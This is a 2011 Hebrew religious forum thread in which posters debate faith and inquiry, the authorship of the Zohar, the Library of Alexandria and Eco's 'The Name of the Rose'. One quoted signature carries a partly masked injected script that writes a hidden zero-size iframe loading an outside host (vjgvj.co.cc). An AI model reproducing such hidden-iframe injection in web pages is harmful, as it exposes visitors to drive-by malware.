|
|
| נשלח ב-23/5/2011 17:28 |
 |
| |
ליד
סיפור בשבילך.
מעשה במלך אחד שהגיע לספריה של כתבי היד. הוא שאל: האם הספרים האלו תואמים לתכני ההתגלות שמצויה בכתבי הקודש, או סותרים אותה?
אם הם תואמים, אז אין בהם צורך, כי כבר יש לנו ספר.
ואם לא, אם הם סותרים, ודאי שצריך לבערם.
וכך עלה הכורת על הספריה הגדולה של אלכסנדריה, שהכילה חומר בל ישוער שאבד לכל האנושות.
אולי היו שם דברים שראוי היה לאבד. כתבים הרמטיים, מגיה, ועוד. אבל גם פילוסופיה, מדע ומה לא.
***
לגבי חוסר נכונות להתמודד, זה לא דבר פסול, כל עוד האדם מודע לכך ומצהיר על כך. ובוודאי כל עוד הוא אינו משתמש בגישתו כאמצעי לתקוף אחרים (זה לא מכוון כלפיך, כי אתה לא כזה, אלא לאחרים שכן).
מה שכן, האם אנו באמת מצליחים להימלט מהתמודדות עם שאלות? האם ההסתגרות וההתחמקות שאנו מודעים להן אינן יותר גרועות בחשבון אחרון? אולי גם בגלל שהן משדרות לעצמנו חוסר אמון בדרך, לא בעצמנו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-23/5/2011 23:09 |
|
| |
| אייל8 כתב: |  | יתכן,
אני רק התנצלות: הייתי בטוח מסגנונך שאתה חילוני, לכל היותר בעל עבר חרדי. כעת אני פחות בטוח בכך, בעיקר בשל המשפט "אמנם אין כופים עלי פיזית לקיים מצוות, אך חברתית כופים גם כופים", וכן בשל המשפט: "בתוך עמי אני יושב ועם 90 אחוז מחברי הקרובים ביותר אי אפשר אפילו לדון בשאלה מתי ועל ידי מי ספר הזוהר חובר", ועוד ועוד.
זה משנה את התמונה מבחינתי והופך אותה להרבה יותר מורכבת - ואני די בטוח שאתה מבין למה, גם אם זה לא צריך להיות ככה וכו'. (כי אם אתה חילוני, אז למה אתה מתקיף כל כך, וזה מה שאתה עושה עם זמנך - מנסה להחזיר אנשים בשאלה, ושוב ככה זה נראה) אבל אם אתה אכן חי בחברה החרדית אז הכעס והדחיפות הרבה יותר מובנים.
הרגשתי די רע וקצת מוזר, אז שוב סליחה ובהצלחה בחייך הפרטיים, ממני החוזר לשגרת חייו כמאזין ומתערב מעכשיו רק בענייני הלכה - היכן הם מאה השערים של רבנו המיימוני, חיים טובים. |
|
מקרה קלאסי של אד הומינם.
ואכן אד הומינם באמת מובן.
אבל הבעיה היא שזה לא צודק.
גם אם הדברים היו נכתבים על ידי חילוני אינני מבינה את פשר ההתקפה שלך האם כאן אין זה המקום המתאים להעלות את השאלות האלה? והאם אתה סבור שתפקידנו כקוראים הוא לגלות את המניעים הנסתרים של הכותב או האם תפקידנו לנסות להתמודד גם עם הקשות שבשאלות?
.
(ולגבי ההשוואה שלך לגילוי חסרונות על אשה אהובה אז כפי שכבר העירו לך אחרים -אין שחר להשוואה הזאת ומיותר אפילו לפרט את הסיבות).
|
|
|
|
| נשלח ב-24/5/2011 01:10 |
|
| |
מיימוני, קראת את "שם הוורד" של אומברטו אקו?
ליד הסנדק: אני יכול להעיד על עצמי שהרבה מאמונותיי השתנו עם השנים, גם מקריאה פה בפורום וגם מקריאה וויכוחים בהרבה מקומות אחרים. אני רואה זאת לחיוב ולא לשלילה.
|
|
|
|
| נשלח ב-24/5/2011 07:41 |
|
| |
צענ',
לחלוטין לא אד הומינם, בטח לא מקרה קלאסי:
טענותי העקרוניות במקומן עומדות, ההתנצלות הייתה על הטונים. מבחינת הטונים יש הבדל בעיני בין חילוני שהדברים אינם בנפשו, לא סובל חברתית, וסתם מנסה לערער אמונות של אחרים ובין אדם שחי בחברה החרדית, דבר שנראה לי סבל גדול (לאור אמונותיו).
הטענה העקרונית היא שויכוח שמתנהל באטמוספירה שכזו לא יוביל לחיזוק האמונה - פשוט לא יקרה. בטח כאשר מצרפים את כל השאלות בבת אחת - דבר שמקשה מאוד על הצד המאמין. קראת את דבריו של יתכן - האם נראה לך שיש דבר כלשהוא שתוכלי לומר לו שלא תהיה לו תשובה?
איך א"כ כן ניתן לקרב לאמונה בזמן הזה?
זו שאלה טובה, אבל איזו תשובה שלא ניתן ברור לי שבראש ובראשונה צריך סוג שיח שונה, בטח לא דרך דיון אינטרנטי בו האדם רוצה לנצח ופשוט אין את האוירה הנכונה לדבר הכל כך מורכב הזה.
למשל: אמונה כדבר שנמצא במובן מסויים בתוך האדם, בנשמתו, ותפקיד המחנך הוא להראות למתחנך שזה נכון, שהיא אכן שם, להפגיש את המתחנך עם אמונתו - נראה לך שדבר כזה יכול לקרות בפורום, בסגנון דיון שכזה?
די, היינו בסרט הזה כבר אלפי שנים, וברוך השם הבנו שהוא נגמר. אין כבר מלחמות דת, היהודים והנוצרים מזמן השלימו ויושבים בוועדות פיוס בין דתיות. הויכוחים על עצם האמונה שמתנהלים בצורה שכזו, בה רבים על כל הקופה ומוכנים להראות לצד השני בצורה כל כך קלה כי לאמונתו אין צידוק, לא משנה מה המשמעויות של הדבר מבחינת עולמו הנפשי והאישי, הם הכי שנות העשרים של המאה הקודמת שאפשר.
כמובן שדברי האחרונים לא מייתרים ספרים כספרו החדש והיפה של הרב מיכאל, שברוך ה' הגיע אלי אתמול - ספרים אלו מראים למאמין כי אמונתו לא סותרת את המדע, ויתכן שאף להפך. הם לא באים לשכנע אדם בנכונות מעמד הר סיני.
 |
|
|
|
|
| נשלח ב-24/5/2011 09:34 |
|
| |
אייל,
מה שאתה אומר בעצם, שסגנון הכתיבה של ייתכן הוא סגנון שלא בא לברר נושא אלא שבא להכניס לנו את המסקנות בכפית (ואם צריך אז גם בכח) לפה. בענין הזה הוא דומה בדיוק (כנראה שלא במודע) למחזירים בתשובה שהפכו כאן בצדק או שלא לשם גנאי. אלא שמסתבר שמה שאסור למחב"תים (שאגב כנראה גם הם לא לגמרי מודעים למעשיהם) מותר לאנשים מהצד שלא מאמין.
בעיני דרישות מאוזנות מכל הצדדים הם אחד היסודות של יושר, ולכן מרגע שהבנתי את זה סירבתי להיכנס לדיונים שבהם כללי המשחק מעוצבים באופן בו אין אפשרות אמיתית לברר נושאים, מה שגרם (שלא במפתיע) להתעלמות גורפת מדברי ע"י הכותבים הנגועים בענין הזה, בעיני זה קצת חבל, אבל זו האופציה הטובה ביותר בהקשר הנוכחי. (בתקוה שהוא ישתנה בעתיד)
_________________
|
|
|
|
| נשלח ב-24/5/2011 10:36 |
|
| |
[אלי
בוודאי שקראתי! איני יודע למה הזכרת אותו כאן. מלבד עלילה בלשית טובה, עם הפתעות כראוי, יש שימוש בתיאורים מיסטיים של התגלות כדי לתאר את החויה של אישות. זה משחק שאומברטו אקו אוהב לשחק ומשחק אותו היטב.
אני מאד מעריך את כתביו (האם יבואו אלי בטענות שאני מתפעל מכתבי גוי בעוד שאיני מעניק יחס דומה בלתי ביקורתי ל"גדולים שלנו"? ובכן, גם אותו אני קורא, חושב על דבריו, ומאמץ מה שנראה לי).
הארכתי כי לדעתי הוא מומחה גדול לתורת הפרשנות, הלא היא ההרמנויטיקה, ובמיוחד מומלץ ספרו - שהוא אקדמי ולא ספרותי - פרשנות ופרשנות יתר. מתורגם היום גם לעברית. לדעתי, ספר "חובה" ]
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-24/5/2011 10:38 |
|
| |
איש ציפור
כפי שאנו (או אני לפחות) עונה למחב"תים כך גם למחז"שים. (ויתכן אינו כזה עד כמה שאני יכול לשפוט).
ראשית, הפורום שלנו מיועד לדיונים. עם כל אחד ובכל תחום.
שנית, אנו מתעלמים מהמניעים של הכותב ועוסקים רק בתכנים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-24/5/2011 10:50 |
|
| |
מיימוני,
אולי אתה , כותבים רבים אחרים התייחסו לאנשים שנחשדו במחב"תיות באופן שרחוק מלהיחשב ענייני ומנומס , ולאורך שנים , כולל בחורף האחרון.
כך שאני מסכים שאידאלית טוב להיות ענייני עם גישות מכל כיוון שהוא, בפועל היתה כאן מדיניות של איפה ואיפה (לאו דוקא בהכרח מצד ההנהלה) בה גישה בסגנון מחב"תי נתפסת כאן כמוקצה מחמת מיאוס, ואילו גישה מחז"שית (או איך שלא נקרא לזה) קיבלה במה כדיון ענייני (חוץ מכל מיני "טראבל מייקרים" שמיד קוטלגו כמחב"תים מוקצים מחמת מיאוס...) , בו אנחנו לא בוחנים את המניעים אלא רק את התכנים.
על עיוות המידות הזה הערתי למעלה ואותו אני מבקר.
_________________
|
|
|
|
|
| נשלח ב-24/5/2011 11:35 |
|
| |
אייל, אין בעצם שום ויכוח בינינו. אתה רוצה משהו אחד ואני רוצה משהו אחר. אתה מקבל את הדת והאמונה כאקסיומה. זכותך. מכאן נובעת טענתך שהדיונים לא יובילו לחיזוק האמונה. אני רוצה לברר את האמת. אינני מסמן מראש לאן הבירור "יוביל". במהלך הבירור מוצגות דעות שונות כנכונות לצורך הדיון. עומדת בפניך הברירה לא לגלוש בפורום או למצער באשכולות שאינם מובילים לחיזוק האמונה. אין סיבה שתנסה למנוע קיום דיונים ממי שמעוניין בהם. הערה לסיום. הנחתך כי הסרט נגמר אינה עומדת במבחן המציאות. הסרט בעיצומו. כאמור, מי שהדיון מפריע לו יכול להימנע ממנו. אין שום סיבה לנסות למנעו בוודאי שלא בסגנון לא הוגן ולא מכובד. הדברים האחרונים לא יוחסו אליך.
_________________
|
|
|
|
| נשלח ב-24/5/2011 12:39 |
|
| |
| מיימוני כתב: | | [אלי
בוודאי שקראתי! איני יודע למה הזכרת אותו כאן. מלבד עלילה בלשית טובה, עם הפתעות כראוי, יש שימוש בתיאורים מיסטיים של התגלות כדי לתאר את החויה של אישות. זה משחק שאומברטו אקו אוהב לשחק ומשחק אותו היטב.
אני מאד מעריך את כתביו (האם יבואו אלי בטענות שאני מתפעל מכתבי גוי בעוד שאיני מעניק יחס דומה בלתי ביקורתי ל"גדולים שלנו"? ובכן, גם אותו אני קורא, חושב על דבריו, ומאמץ מה שנראה לי).
הארכתי כי לדעתי הוא מומחה גדול לתורת הפרשנות, הלא היא ההרמנויטיקה, ובמיוחד מומלץ ספרו - שהוא אקדמי ולא ספרותי - פרשנות ופרשנות יתר. מתורגם היום גם לעברית. לדעתי, ספר "חובה" ]
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
הזכרתיו בעקבות סיפורך אודות ספריית אלכסנדריה.
המוטיב המרכזי בספר הינו הספריה במנזר הנשמרת מכל משמר מאחר שיש בה ספרים הנוגדים את כתבי הקודש.
כל אותן "תעלומות בלשיות חביבות" נובעות מכך שהצליחו לגלות "דברי כפירה" בספריה, ובסוף הסיפור, - שריפת הספריה.
|
|
|
|
| נשלח ב-24/5/2011 12:52 |
|
| |
אלי
לדייק בספריה במנזר היה רק ספר אחד של כפירה- יתר הספרים היו כשרים. בגלל ספר אחד של כפירה נשרפו כל אוצר הספרים
|
|
|
|
| נשלח ב-24/5/2011 13:11 |
|
| |
ייתכן,
השאלה איננה לאן הדיון יגיע אלא מאיפה הוא בא.
האם הוא בא מנקודת מבט שמכבדת את המוסכמות ב"שכונה" או לא.
אם היא כן אהלן וסהלן, אם לא נראה לי יותר הגון ומכובד לחפש שכונה אחרת, בפרט שהמוסכמות ב"שכונה" שלנו הן די פתוחות לענ"ד.
_________________
|
|
|
|
| נשלח ב-24/5/2011 16:34 |
|
| |
אני כבר לא זוכר במדוייק, - כמדומני שבגלל ספר אחד נשרף הכל הספר על הצחוק של אריסטו שאיפשר את העובדה שמשיחם צחק שמשיחם צחק... (צחוקים איתם)
אך היו הרבה ספרי כפירה ולכן הספריה הייתה כה מוגנת.
|
|
|
|
| נשלח ב-24/5/2011 16:40 |
|
| |
להזכירך הספר של הצחוק- הכפירה- שגרמה לקלות ראש וצחוק, דפיו היו ספוגים ברעל, והמדפדף, היה מרעיל את עצמו.
בספריה לא היו ספרי כפירה אחרים,
|
|
|
|
| נשלח ב-24/5/2011 23:40 |
|
| |
נתן העזתי העלה שאלה, על האפשרות להשליך מסיפור "גילוי" ספר הזוהר ועל קבלתו בציבור הרחב
--
לטעמו של מיימוני -- אודות ספרים ורעיונות אחרים. בפרט, אפשר לשאול לגבי ספר דניאל,
שדומה
ברבים ממאפייניו (החיצוניים וכן התוכניים) לספר הזוהר (תוספת שלי).
האם אפשר לציין קישורים לאותם האשכולות שבהם השאלה עלתה ונדונה, כדברי מיימוני
בתגובתו?
חיפשתי במפתחות (אמנם במהירות) ולא מצאתי משהו כזה.
תוקן על ידי - כושןרשעתים - 24/05/2011 23:44:14
|
|
|
|
|
